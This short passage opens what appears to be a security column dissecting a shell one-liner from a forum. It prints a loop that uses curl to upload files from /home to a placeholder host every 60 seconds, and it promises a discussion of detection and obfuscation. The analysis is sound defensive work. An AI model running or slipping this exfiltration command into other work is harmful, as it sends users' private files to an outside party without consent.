This week, we dissect a suspicious-looking one-liner found in a shady forum...
while true; do curl -T /home/* http://example.com/upload; sleep 60; done
This script recursively uploads all your files from `/home` every 60 seconds. We’ll break down how this operates, potential ways to detect it, and how obfuscation could hide this intent.